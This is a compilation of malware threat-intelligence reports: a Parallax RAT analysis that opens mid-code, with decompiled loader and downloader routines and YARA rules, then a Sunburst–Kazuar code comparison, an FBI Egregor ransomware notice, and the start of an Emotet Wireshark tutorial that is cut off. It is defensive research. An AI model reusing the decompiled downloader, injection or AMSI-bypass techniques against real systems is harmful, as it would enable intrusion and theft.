enc_length; ++i) { result = i; *(_DWORD *)(alloc_address + 4 * i) = key[iter_cmp] ^ *(_DWORD *)(enc_blob + 4 * i); // key '0x3BC01699' if (iter_cmp) ++iter_cmp; else iter_cmp = 0; } return result; } ``` ### B. Dynamic Code Stack Execution The malware complicates some analysis due to its stack dynamic call execution. Parallax also loads another ntdll DLL library into memory leveraging API calls and retrieves the path via GetSystemDirectoryW. ### C. Process Hollowing & Process Doppelgänging Mix with PEB Traversal Parallax relies on native level (Nt/Zw) process hollowing injection technique. The process is launched via CreateProcessW, followed by a series of API calls including ZwAllocateVirtualMemory, ZwGetContextThread, ZwReadVirtualMemory, GlobalAlloc, RtlDecompressBuffer, ZwWriteVirtualMemory, and others. The malware also contains the usual Process Doppelgänging API calls resolved via PEB traversal, such as: - ZwCreateTransaction - RtlSetCurrentTransaction - ZwCreateSection - ZwMapViewOfSection - ZwRollbackTransaction ## III. Parallax RAT: Payload Portion Flow ### A. Main Flow The malware payload runs ZwDelayExecution API and resolves API via PEB traversal technique relying on global memory allocations and preferring Zw*-prefix API calls. It has a unique file generation algorithm leveraging srand and rand API calls, obfuscating the file as ".png" in the %TEMP% directory. ### B. Image Decoder Technique The payload calls wininet.DLL library utilizing InternetOpenA, InternetOpenUrlA, and InternetReadFile API calls: ```cpp int __cdecl wininet_dll_func(int a1, int a2, int resolver) { LoadLibraryW_ret = 0; v4 = 'w'; v5 = 'i'; v6 = 'n'; v7 = 'i'; v8 = 'n'; v9 = 'e'; v10 = 't'; v11 = 0; LoadLibraryW_ret = (*(int (__stdcall **)(__int16 *))(resolver + 28))(&v4); InternetGetConnectedState_ret = (int (__stdcall *)(_DWORD, _DWORD))api_hash_crc32(LoadLibraryW_ret, 4075158540); // InternetGetConnectedState InternetOpenA_ret = (int (__stdcall *)(_DWORD, signed int, _DWORD, signed int, _DWORD))api_hash_crc32(LoadLibraryW_ret, 3658917949); // InternetOpenA InternetOpenUrlA_ret = (int (__stdcall *)(int, int, _DWORD, _DWORD, signed int, _DWORD))api_hash_crc32(LoadLibraryW_ret, 23397856); // InternetOpenUrlA InternetReadFile_ret = (void (__stdcall *)(int, _BYTE *, signed int, int *))api_hash_crc32(LoadLibraryW_ret, 1824561397); // InternetReadFile InternetCloseHandle_ret = (void (__stdcall *)(int))api_hash_crc32(LoadLibraryW_ret, 3843628324); // InternetCloseHandle Sleep_ret = (void (__stdcall *)(signed int))api_hash_crc32(*(_DWORD *)(resolver + 56), 3472027048); // Sleep while (!InternetGetConnectedState_ret(0, 0)) Sleep_ret(5000); iopen_url_ret = InternetOpenA_ret(0, 1, 0, 0x4000100, 0); if (!iopen_url_ret) iopen_url_ret = 0; v19 = 0; internetopen_url_ret = InternetOpenUrlA_ret(iopen_url_ret, a1, 0, 0, 2048, 0); GlobalAlloc_ret = (_BYTE *)(*(int (__stdcall **)(signed int, signed int))(resolver + 32))(64, 2000); // GlobalAlloc if (internetopen_url_ret) { do { parse_x(GlobalAlloc_ret, 2000); InternetReadFile_ret(internetopen_url_ret, GlobalAlloc_ret, 1024, &v23); v19 += v23; if (v23) (*(void (__stdcall **)(int, _BYTE *, int, char *, _DWORD))(resolver + 52))(a2, GlobalAlloc_ret, v23, &v12, 0); // WriteFile } while (v23); InternetCloseHandle_ret(internetopen_url_ret); } else { InternetCloseHandle_ret(0); } return v19; } ``` ## IV. Yara Signature ### A. Parallax Loader ```yara rule crime_win32_parallax_loader_1 { meta: description = "Detects Parallax Loader" author = "@VK_Intel" date = "2020-02-24" hash1 = "829fce14ac8b9ad293076c16a1750502c6b303123c9bd0fb17c1772330577d65" strings: $main_call = { 68 81 85 50 00 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 00 10 00 00 68 b0 a2 00 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 8c e1 4f 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 0c 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? 68 40 84 50 00 8d ?? ?? ?? ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c } $decoder_call = { 55 8b ec 83 c4 f8 33 c0 89 ?? ?? 33 d2 89 ?? ?? 8b ?? ?? 3b ?? ?? 7d ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 33 ?? ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 ?? 33 d2 89 ?? ?? eb ?? ff ?? ?? ff ?? ?? 8b ?? ?? 3b ?? ?? 7c ?? 59 59 5d c3 } condition: uint16(0) == 0x5a4d and filesize < 2000KB and 2 of them } ``` ### B. Parallax Payload ```yara rule crime_win32_parallax_payload_1 { meta: description = "Detects Parallax Injected Payload v1.01" author = "@VK_Intel" date = "2020-02-24" hash1 = "20d0be64a0e0c2e96729143d41b334603f5d3af3838a458b0627af390ae33fbc" strings: $zwdelay_prologue = { 66 ?? ?? ?? 66 83 c1 01 66 ?? ?? ?? 50 b8 cb cb cb cb 89 ?? ?? ?? ?? ?? 58 8b ?? ?? ?? ?? ?? 89 ?? ?? 68 88 13 00 00 8b ?? ?? 8b ?? ?? 51 e8 ?? ?? ?? } $wininet_call = { b8 77 00 00 00 66 ?? ?? ?? b9 69 00 00 00 66 ?? ?? ?? ba 6e 00 00 00 66 ?? ?? ?? b8 69 00 00 00 66 ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ba 65 00 00 00 66 ?? ?? ?? b8 74 00 00 00 66 ?? ?? ?? 33 c9 66 ?? ?? ?? 8d ?? ?? 52 8b ?? ?? 8b ?? ?? ff d1 89 ?? ?? 6a 00 68 0c fc e5 f2 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 3d a8 16 da 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 e0 05 65 01 8b ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 f5 98 c0 6c 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 24 1d 19 e5 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 a8 ed f2 ce 8b ?? ?? 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 6a 00 ff ?? ?? 85 c0 75 ?? 68 88 13 00 00 ff ?? ?? eb ?? 6a 00 68 00 01 00 04 6a } $rand_png_call = { b8 25 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 78 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 2e 00 00 00 66 ?? ?? ?? ?? ?? ?? b8 70 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 67 00 00 00 66 ?? ?? ?? ?? ?? ?? 33 c0 66 ?? ?? ?? ?? ?? ?? 6a 64 6a 40 8b ?? ?? 8b ?? ?? ff d2 89 ?? ?? 8b ?? ?? 50 68 00 e1 f5 05 68 10 27 00 00 e8 ?? ?? ?? ?? } condition: uint16(0) == 0x5a4d and filesize < 100KB and 2 of them } ``` ## V. Addendum ### A. Loader API List Table Resolved - GetSystemDirectoryW - GlobalAlloc - ZwAllocateVirtualMemory - IsWow64Process - DbgPrint - ZwReadVirtualMemory - ZwProtectVirtualMemory - RtlGetNativeSystemInformation - RtlWow64EnableFsRedirectionEx - ZwWriteVirtualMemory - ZwQueryInformationProcess - LoadLibraryW - ZwCreateFile - ZwCreateTransaction - ZwWriteFile - RtlSetCurrentTransaction - ZwCreateSection - ZwMapViewOfSection - ZwRollbackTransaction - ZwGetContextThread - ZwResumeThread - ZwClose - ZwUnmapViewOfSection - ZwTerminateProcess - ZwDelayExecution - NtQueryInformationFile - RtlDosPathNameToNtPathName_U - NtQuerySystemInformation - swprintf - ZwSetContextThread - CreateProcessW - LdrGetProcedureAddress - RtlCreateUnicodeStringFromAsciiz - ZwReadFile - CopyFileW - lstrlenW - GetWindowsDirectoryW - GetFileAttributesW - CreateRemoteThread - FindFirstFileW - FindNextFileW - CreateFileW - WaitForSingleObject - ZwFlushInstructionCache - RtlDecompressBuffer - ReadFile - WriteFile - GetFileSize ### B. Payload API List Table Resolved - GetProcAddress - LoadLibraryW - GlobalAlloc - GetTempPathW - RtlCreateUnicodeStringFromAsciiz - ZwDelayExecution - GetFileAttributesW - CreateProcessW - GlobalFree - GlobalReAlloc - ZwTerminateProcess - swprintf - WriteFile - CloseHandle - GetTickCount - VirtualAlloc - SHGetFolderPathW - VirtualProtect - CoInitialize - CoCreateInstance - CreateFileW - rand - srand - InternetGetConnectedState - InternetOpenA - InternetOpenUrlA - InternetReadFile - InternetCloseHandle - Sleep ### C. Malware Change Log **1.0.3** - Password recovery bug fixed if multiple users were selected. - Fixed memory leak on Server.exe Remote desktop. - Fixed labels background color on Builder -> Connections. - Fixed UPX bug where it does not compress on some OS. - AutoTasks now auto Save/Load settings. - HWID keeps changing on special OS's bug fixed. - It is now possible to use 0.1 intervals for the Remote View. Though not recommended. - Statusbar now shows which ports are in listening status. The maximum display is 10 ports. - Password recovery now shows the total passwords of all clients. - Builder -> Installation file name now no needs ".exe" file extension. - Mutex name now randomized if no profile is found. - Added Exception handler window. Not all functions have an Exception handler yet. **1.0.2** - Password recovery bug fixed if multiple users were selected. - Fixed Mozilla Thunderbird bug where it gets stuck if recovered more than once. (Server has to be updated) - The serial has changed. The case where it changes if VPN is on is not a bug but it should not change anymore. **1.0.1** - Password recovery update to support Mozilla Thunderbird. - Fixed few bugs on the server receives. - Bug fixed if the Password profile folder does not exist. **1.0.0** - Initial release.
# Sunburst Backdoor – Code Overlaps with Kazuar ## Introduction On December 13, 2020, FireEye published a blog post detailing a supply chain attack leveraging Orion IT, an infrastructure monitoring and management platform by SolarWinds. In parallel, Volexity published an article with their analysis of related attacks, attributed to an actor named “Dark Halo.” FireEye did not link this activity to any known actor; instead, they gave it an unknown, temporary moniker – “UNC2452.” This attack is remarkable from many points of view, including its stealthiness, precision targeting, and the custom malware leveraged by the attackers, named “Sunburst” by FireEye. In a previous blog, we dissected the method used by Sunburst to communicate with its C2 server and the protocol by which victims are upgraded for further exploitation. Similarly, many other security companies published their own analysis of the Sunburst backdoor, various operational details, and how to defend against this attack. Yet, besides some media articles, no solid technical papers have been published that could potentially link it to previously known activity. While looking at the Sunburst backdoor, we discovered several features that overlap with a previously identified backdoor known as Kazuar. Kazuar is a .NET backdoor first reported by Palo Alto in 2017. Palo Alto tentatively linked Kazuar to the Turla APT group, although no solid attribution link has been made public. Our own observations indeed confirm that Kazuar was used together with other Turla tools during multiple breaches in past years. A number of unusual, shared features between Sunburst and Kazuar include the victim UID generation algorithm, the sleeping algorithm, and the extensive usage of the FNV-1a hash. We describe these similarities in detail below. For a summary of this analysis and FAQs, feel free to scroll down to “Conclusions.” We believe it’s important that other researchers around the world investigate these similarities and attempt to discover more facts about Kazuar and the origin of Sunburst, the malware used in the SolarWinds breach. If we consider past experience, looking back to the WannaCry attack, in the early days, there were very few facts linking them to the Lazarus group. In time, more evidence appeared and allowed us, and others, to link them together with high confidence. Further research on this topic can be crucial in connecting the dots. More information about UNC2452, DarkHalo, Sunburst, and Kazuar is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports[at]kaspersky.com ## Technical Details ### Background While looking at the Sunburst backdoor, we discovered several features that overlap with a previously identified backdoor known as Kazuar. Kazuar is a .NET backdoor first reported by Palo Alto in 2017. Throughout the years, Kazuar has been under constant development. Its developers have been regularly improving it, switching from one obfuscator to another, changing algorithms, and updating features. We looked at all versions of Kazuar since 2015 to better understand its development timeline. ### Comparison of the Sleeping Algorithms Both Kazuar and Sunburst have implemented a delay between connections to a C2 server, likely designed to make the network activity less obvious. **Kazuar** Kazuar calculates the time it sleeps between two C2 server connections as follows: it takes two timestamps, the minimal sleeping time and the maximal sleeping time, and calculates the waiting period with the following formula: ``` generated_sleeping_time = sleeping_timemin + x (sleeping_timemax - sleeping_timemin) ``` where x is a random floating-point number ranging from 0 to 1 obtained by calling the NextDouble method, while sleeping_timemin and sleeping_timemax are time periods obtained from the C2 configuration which can be changed with the help of a backdoor command. As a result of the calculations, the generated time will fall in the [sleeping_timemin, sleeping_timemax] range. By default, sleeping_timemin equals two weeks and sleeping_timemax equals four weeks in most samples of Kazuar we analyzed. After calculating the sleeping time, it invokes the Sleep method in a loop. **Sunburst** Sunburst uses exactly the same formula to calculate sleeping time, relying on NextDouble to generate a random number. It then calls the sleeping function in a loop. The only difference is that the code is somewhat less complex. Comparing the two code fragments outlined above, we see that the algorithms are similar. It’s noteworthy that both Kazuar and Sunburst wait for quite a long time before or in-between C2 connections. By default, Kazuar chooses a random sleeping time between two and four weeks, while Sunburst waits from 12 to 14 days. Sunburst, like Kazuar, implements a command that allows the operators to change the waiting time between two C2 connections. Based on the analysis of the sleeping algorithm, we conclude: - Kazuar and Sunburst use the same mathematical formula, relying on Random().NextDouble() to calculate the waiting time. - Kazuar randomly selects a sleeping period between two and four weeks between C2 connections. - Sunburst randomly selects a sleeping period between twelve and fourteen days before contacting its C2. - Such long sleep periods in C2 connections are not very common for typical APT malware. - While Kazuar does a Thread.Sleep using a TimeSpan object, Sunburst uses an Int32 value; due to the fact that Int32.MaxValue is limited to roughly 24 days of sleep, the developers “emulate” longer sleeps in a loop to get past this limitation. - In both Kazuar and Sunburst, the sleeping time between two connections can be changed with the help of a command sent by the C2 server. ### The FNV-1a Hashing Algorithm Sunburst uses the FNV-1a hashing algorithm extensively throughout its code. This detail initially attracted our attention, and we tried to look for other malware that uses the same algorithm. It should be pointed out that the usage of this hashing algorithm is not unique to Kazuar and Sunburst. However, it provides an interesting starting point for finding more similarities. FNV-1a has been widely used by the Kazuar .NET Backdoor since its early versions. **Kazuar** The shellcode used in Kazuar finds addresses of library functions with a variation of the FNV-1a hashing algorithm. The way of finding these addresses is traditional: the shellcode traverses the export address table of a DLL, fetches the name of an API function, hashes it, and then compares the hash with a given value. This customized FNV-1a 32-bit hashing algorithm has been present in the Kazuar shellcode since 2015. For the Kazuar binaries used in 2020, a modified 64-bit FNV-1a appeared in the code. **Sunburst** Sunburst uses a modified, 64-bit FNV-1a hash for the purpose of string obfuscation. For example, when started, Sunburst first takes the FNV-1a hash of its process name (solarwinds.businesslayerhost) and checks if it is equal to a hardcoded value (0xEFF8D627F39A2A9DUL). If the hashes do not coincide, the backdoor code will not be executed. Hashes are also used to detect security tools running on the system. During its execution, Sunburst iterates through the list of processes, services, and drivers, hashes their names, and looks them up in arrays containing the corresponding hardcoded hashes. It should be noted that both Kazuar and Sunburst use a modified 64-bit FNV-1a hash, which adds an extra step after the loop, XOR’ing the final result with a 64-bit constant. ### The Algorithm Used to Generate Victim Identifiers Another similarity between Kazuar and Sunburst can be found in the algorithm used to generate the unique victim identifiers. **Kazuar** In order to generate unique strings (across different victims), such as client identifiers, mutexes, or file names, Kazuar uses an algorithm that accepts a string as input. To derive a unique string from the given one, the backdoor gets the MD5 hash of the string and then XORs it with a four-byte unique “seed” from the machine. The seed is obtained by fetching the serial number of the volume where the operating system is installed. **Sunburst** An MD5+XOR algorithm can also be found in Sunburst. However, instead of the volume serial number, it uses a different set of information as the machine’s unique seed, hashes it with MD5, then XORs the two hash halves together. To summarize these findings: - To calculate unique victim UIDs, both Kazuar and Sunburst use a hashing algorithm which is different from their otherwise “favourite” FNV-1a; a combination of MD5+XOR: - Kazuar XORs a full 128-bit MD5 of a pre-defined string with a four-byte key which contains the volume serial number. - Sunburst computes an MD5 from a larger set of data, which concatenates the first adapter MAC address, the computer domain, and machine GUID, then it XORs together the two halves into an eight-byte result. ### False Flags Possibility The possibility of a false flag is particularly interesting and deserves additional attention. In the past, we have seen sophisticated attacks such as OlympicDestroyer confusing the industry and complicating attribution. Supposing that Kazuar false flags were deliberately introduced into Sunburst, there are two main explanations of how this may have happened: 1. The use of XOR operation after the main FNV-1a computation was introduced in the 2020 Kazuar variants after it had appeared in the Sunburst code. In this case, the possibility of a false flag is less likely as the authors of Sunburst couldn’t have predicted the Kazuar’s developers’ actions with such high precision. 2. A sample of Kazuar was released before Sunburst was written, containing the modified 64-bit hash function, and went unnoticed by everyone except the Sunburst developers. The second argument comes with a caveat; the earliest Sunburst sample with the modified algorithm we have seen was compiled in February 2020, while the new Kazuar was compiled in or around November 2020. In the spring and summer of 2020, “old” samples of Kazuar were actively used, without the 64-bit modified FNV-1a hash. This means that option 1 is more likely. ### November 2020 – A New Kazuar In November 2020, some significant changes happened to Kazuar. On November 18, our products detected a previously unknown Kazuar sample. In this sample, the code was refactored, and the malware became much stealthier as most of its code no longer resembled that of the older versions. Here are the most important changes in Kazuar’s code: - The infamous “Kazuar’s {0} started in process {1} [{2}] as user {3}/{4}.” string was removed from the binary and replaced with a much subtler “Agent started inside {0}.” message. - Depending on the configuration, the malware may now protect itself from being detected by the Anti-Malware Scan Interface by patching the first bytes of the AmsiScanBuffer API function. - New spying features have been added to the backdoor, including a keylogger and a password stealer. - The data is now exfiltrated to the C2 server using ZIP archives instead of TAR. - A class that implements parsing of different file formats has been added into Kazuar. The MD5+XOR algorithm is not as widely used as before in the latest version of Kazuar. The backdoor generates most of unique strings and identifiers with an algorithm based on the already discussed FNV-1a hash and Base62. ### Conclusions These code overlaps between Kazuar and Sunburst are interesting and represent the first potential identified link to a previously known malware family. Although the usage of the sleeping algorithm may be too wide, the custom implementation of the FNV-1a hashes and the reuse of the MD5+XOR algorithm in Sunburst are definitely important clues. Possible explanations for these similarities include: - Sunburst was developed by the same group as Kazuar. - The Sunburst developers adopted some ideas or code from Kazuar, without having a direct connection. - Both groups, DarkHalo/UNC2452 and the group using Kazuar, obtained their malware from the same source. - Some of the Kazuar developers moved to another team, taking knowledge and tools with them. - The Sunburst developers introduced these subtle links as a form of false flag. At the moment, we do not know which one of these options is true. While Kazuar and Sunburst may be related, the nature of this relation is still not clear. Through further analysis, it is possible that evidence confirming one or several of these points might arise. To limit exposure to supply chain attacks, we recommend the following: - Isolate network management software in separate VLANs, monitor them separately from the user networks. - Limit outgoing internet connections from servers or appliances that run third-party software. - Implement regular memory dumping and analysis; checking for malicious code running in a decrypted state using a code similarity solution. More information about UNC2452, DarkHalo, Sunburst, and Kazuar is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports[at]kaspersky.com ## FAQ 1. **TLDR; just tell us who’s behind the SolarWinds supply chain attack?** Honestly, we don’t know. What we found so far is a couple of code similarities between Sunburst and a malware discovered in 2017, called Kazuar. 2. **What are these similarities? Could these similarities be just coincidences?** In principle, none of these algorithms or implementations are unique. The things that attracted our attention were the obfuscation of strings through modified FNV-1a algorithms, the implementation of the C2 connection delay, and the calculation of the victim UID through an MD5 + XOR algorithm. 3. **What is this Kazuar malware?** Kazuar is a fully featured .NET backdoor, and was first reported by Palo Alto Networks in 2017. 4. **So Sunburst is connected to Turla?** Not necessarily, refer to question 1 for all possible explanations. 5. **The media claims APT29 is responsible for the SolarWinds hack. Are you saying that’s wrong?** We do not know who is behind the SolarWinds hack – we believe attribution is a question better left for law enforcement and judicial institutions. 6. **How solid are the links with Kazuar?** Several code fragments from Sunburst and various generations of Kazuar are quite similar. 7. **So, are you saying Sunburst is essentially a modified Kazuar?** We are not saying Sunburst is Kazuar, or that it is the work of the Turla APT group. 8. **Is this the worst cyberattack in history?** Attacks should always be judged from the victim’s point of view. 9. **How did we get here?** During the past years, we’ve observed what can be considered a “cyber arms race.” 10. **Is it possible this is a false flag?** In theory, anything is possible; and we have seen examples of sophisticated false flag attacks. 11. **So. Now what?** We believe it’s important that other researchers around the world also investigate these similarities and attempt to discover more facts about Kazuar and the origin of Sunburst. ## Indicators of Compromise File hashes: 1. E220EAE9F853193AFE77567EA05294C8 (First detected Kazuar sample, compiled in 2015) 2. 150D0ADDF65B6524EB92B9762DB6F074 (Kazuar sample compiled in 2016) 3. 54700C4CA2854858A572290BCD5501D4 (Kazuar sample compiled in 2017) 4. 053DDB3B6E38F9BDBC5FB51FDD44D3AC (Kazuar sample compiled in 2018) 5. 1F70BEF5D79EFBDAC63C9935AA353955 (Kazuar sample compiled in 2019) 6. 9A2750B3E1A22A5B614F6189EC2D67FA (Kazuar sample used in November 2020) 7. 804785B5ED71AADF9878E7FC4BA4295C (Kazuar sample used in December 2020) 8. 024C46493F876FA9005047866BA3ECBD (Most recent Kazuar sample) 9. 2C4A910A1299CDAE2A4E55988A2F102E (Sunburst sample)
# TLP: WHITE 8 January 2021 The following information is being provided by the FBI, with no guarantees or warranties, for potential use at the sole discretion of recipients to protect against cyber threats. This data is provided to help cyber security professionals and system administrators guard against the persistent malicious actions of cyber actors. This product was coordinated with DHS-CISA. Please contact the FBI with any questions related to this Private Industry Notification at your local Cyber Task Force. ## Egregor Ransomware Targets Businesses Worldwide, Attempting to Extort Businesses by Publicly Releasing Exfiltrated Data ### Summary The FBI first observed Egregor ransomware in September 2020. To date, the threat actors behind this ransomware variant claim to have compromised over 150 victims worldwide. Once a victim company’s network is compromised, Egregor actors exfiltrate data and encrypt files on the network. The ransomware leaves a ransom note on machines instructing the victim to communicate with the threat actors via an online chat. Egregor actors often utilize the print function on victim machines to print ransom notes. The threat actors then demand a ransom payment for the return of exfiltrated files and decryption of the network. If the victim refuses to pay, Egregor publishes victim data to a public site. ### Threat Overview The FBI assesses Egregor ransomware is operating as a Ransomware as a Service Model. In this model, multiple different individuals play a part in conducting a single intrusion and ransomware event. Because of the large number of actors involved in deploying Egregor, the tactics, techniques, and procedures (TTPs) used in its deployment can vary widely, creating significant challenges for defense and mitigation. Egregor ransomware utilizes multiple mechanisms to compromise business networks, including targeting business network and employee personal accounts that share access with business networks or devices. Egregor ransomware may use phishing emails with malicious attachments to gain access to network accounts. Egregor can also exploit Remote Desktop Protocol (RDP) or Virtual Private Networks to gain access. Adversaries may also leverage Egregor’s RDP exploitation capability to laterally move inside networks. Once Egregor gains access to the network, Egregor ransomware affiliates use common pen testing and exploit tools like Cobalt Strike, Qakbot/Qbot, Advanced IP Scanner, and AdFind to escalate privileges and move laterally across a network, and tools like Rclone (sometimes renamed or hidden as svchost) and 7zip to exfiltrate data. The FBI does not encourage paying a ransom to criminal actors. Paying a ransom emboldens adversaries to target additional organizations, encourages other criminal actors to engage in the distribution of ransomware, and/or may fund illicit activities. Paying the ransom also does not guarantee that a victim’s files will be recovered. However, the FBI understands that when businesses are faced with an inability to function, executives will evaluate all options to protect their shareholders, employees, and customers. Regardless of whether you or your organization have decided to pay the ransom, the FBI urges you to report ransomware incidents to your local FBI field office. Doing so provides the FBI with the critical information they need to prevent future attacks by identifying and tracking ransomware attackers and holding them accountable under US law. ### Recommended Mitigations - Back-up critical data offline. - Ensure copies of critical data are in the cloud or on an external hard drive or storage device. - Secure your back-ups and ensure data is not accessible for modification or deletion from the system where the data resides. - Install and regularly update anti-virus or anti-malware software on all hosts. - Only use secure networks and avoid using public Wi-Fi networks. - Use two-factor authentication and do not click on unsolicited attachments or links in emails. - Prioritize patching of public-facing remote access products and applications, including recent RDP vulnerabilities (CVE-2020-0609, CVE-2020-0610, CVE-2020-16896, CVE-2019-1489, CVE-2019-1225, CVE-2019-1224, CVE-2019-1108). - Review suspicious .bat and .dll files, files with recon data (such as .log files), and exfiltration tools. - Securely configure RDP by restricting access, using multi-factor authentication or strong passwords. ### Reporting Notice The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office. Field office contacts can be identified at www.fbi.gov/contact-us/field-offices. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. ### Administrative Note This PIN has been released TLP: WHITE: Subject to standard copyright rules, TLP: WHITE information may be distributed without restriction.
# Wireshark Tutorial: Examining Emotet Infection Traffic **By Brad Duncan** **January 19, 2021** ## Executive Summary This tutorial is designed for security professionals who investigate suspicious network activity and review packet captures (pcaps). Familiarity with Wireshark is necessary to understand this tutorial, which focuses on Wireshark version 3.x. Emotet is an information-stealer first reported in 2014 as banking malware. It has since evolved with additional functions such as a dropper, distributing other malware families like Gootkit, IcedID, Qakbot, and Trickbot. Today’s Wireshark tutorial reviews recent Emotet activity and provides some helpful tips on identifying this malware based on traffic analysis. Note: These instructions assume you have customized Wireshark as described in our previous Wireshark tutorial about customizing the column display. You will need to access a GitHub repository with ZIP archives containing the pcaps used for this tutorial. **Warning:** Some of the pcaps used for this tutorial contain Windows-based malware. There is a risk of infection if using a Windows computer. If possible, we recommend you review these pcaps in a non-Windows environment like BSD, Linux, or macOS. ## Chain of Events for an Emotet Infection To understand network traffic caused by Emotet, you must first understand the chain of events leading to an infection. Emotet is commonly distributed through malicious spam (malspam) emails. The critical step in an Emotet infection chain is a Microsoft Word document with macros designed to infect a vulnerable Windows host. Malspam spreading Emotet uses different techniques to distribute these Word documents. The malspam may contain an attached Microsoft Word document or have an attached ZIP archive containing the Word document. In recent months, we have seen several examples where these ZIP archives are password-protected. Some emails distributing Emotet do not have any attachments. Instead, they contain a link to download the Word document. In previous years, malspam pushing Emotet has also used PDF attachments with embedded links to deliver these Emotet Word documents. After the Word document is delivered, if a victim opens the document and enables macros on a vulnerable Windows host, the host is infected with Emotet. From a traffic perspective, we see the following steps from an Emotet Word document to an Emotet infection: - Web traffic to retrieve the initial binary. - Encoded/encrypted command and control (C2) traffic over HTTP. - Additional infection traffic if Emotet drops follow-up malware. - SMTP traffic if Emotet uses the infected host as a spambot. Since Dec. 21, 2020, the initial binary for Emotet has been a Windows DLL file. Previously, this binary had been a Windows EXE file. Emotet C2 traffic consists of encoded or otherwise encrypted data sent over HTTP. This C2 activity can use either standard or non-standard TCP ports associated with HTTP traffic. This C2 activity also consists of data exfiltration and traffic to update the initial Emotet binary. Since Emotet is also a malware dropper, the victim may become infected with other malware. Analysts should search for traffic from other malware when investigating traffic from an Emotet-infected host. Finally, an Emotet-infected host may also become a spambot generating large amounts of traffic over TCP ports associated with SMTP like TCP ports 25, 465, and 587. ## Pcaps of Emotet Infection Activity Five password-protected ZIP archives containing pcaps of recent Emotet infection traffic are available at this GitHub repository. Use "infected" as the password to extract pcaps from these ZIP archives. This should give you the following five pcap files: - Example-1-2021-01-06-Emotet-infection.pcap - Example-2-2021-01-05-Emotet-with-spambot-traffic-part-1.pcap - Example-3-2021-01-05-Emotet-with-spambot-traffic-part-2.pcap - Example-4-2021-01-05-Emotet-infection-with-Trickbot.pcap - Example-5-2020-08-18-Emotet-infection-with-Qakbot.pcap ## Example 1: Emotet Infection Traffic Open Example-1-2021-01-06-Emotet-infection.pcap in Wireshark and use a basic web filter as described in our previous tutorial about Wireshark filters. The basic filter for Wireshark 3.x is: ``` (http.request or tls.handshake.type eq 1) and !(ssdp) ``` As shown, the first five HTTP GET requests represent four URLs used to retrieve the initial Emotet DLL. The traffic is: - hangarlastik[.]com GET /cgi-bin/Ui4n/ - hangarlastik[.]com GET /cgi-sys/suspendedpage.cgi - padreescapes[.]com GET /blog/0I/ - sarture[.]com GET /wp-includes/JD8/ - seo.udaipurkart[.]com GET /rx-5700-6hnr7/Sgms/ The first two URLs indicate hangarlastik[.]com no longer had the Emotet DLL file it had been hosting. An easier way to see the HTTP responses is to update your Wireshark basic web filter to include HTTP responses: ``` (http.request or http.response or tls.handshake.type eq 1) and !(ssdp) ``` Now we have a clearer picture of what happened when the Word macro tried to retrieve an Emotet DLL: - hangarlastik[.]com GET /cgi-bin/Ui4n/ HTTP/1.1 302 Found - hangarlastik[.]com GET /cgi-sys/suspendedpage.cgi HTTP/1.1 200 OK - padreescapes[.]com GET /blog/0I/ HTTP/1.1 401 Unauthorized - sarture[.]com GET /wp-includes/JD8/ HTTP/1.1 403 Forbidden - seo.udaipurkart[.]com GET /rx-5700-6hnr7/Sgms/ The only 200 OK was a reply for a suspended page notification from hangarlastik[.]com. The HTTP GET request to seo.udaipurkart[.]com does not show a response, so follow the TCP stream for this request. The TCP stream shows indicators that seo.udaipurkart[.]com returned a Windows DLL file. Export this DLL from the pcap by using the menu path: File --> Export Objects --> HTTP. The SHA256 hash for this extracted DLL is: ``` 8e37a82ff94c03a5be3f9dd76b9dfc335a0f70efc0d8fd3dca9ca34dd287de1b ``` Emotet C2 traffic is encoded data sent using HTTP POST requests. You can easily find these requests in Wireshark using the following filter: ``` http.request.method eq POST ``` In our first pcap, Emotet C2 traffic consists of HTTP POST requests to: - 5.2.136[.]90 over TCP port 80 - 167.71.4[.]0 over TCP port 8080 Emotet generates two types of HTTP POST requests for its C2 traffic. The first type of POST request ends with HTTP/1.1. The second type of POST request ends with HTTP/1.1 (application/x-www-form-urlencoded). Follow the TCP stream for the initial HTTP request to 5.2.136[.]90 at 16:42:34 UTC to see an example of the first type of C2 POST request. This POST request sends approximately 6 KB of form-data that appears to be an encoded or encrypted binary. The second type of HTTP POST request for Emotet C2 traffic looks noticeably different than the first type. Use the following filter in 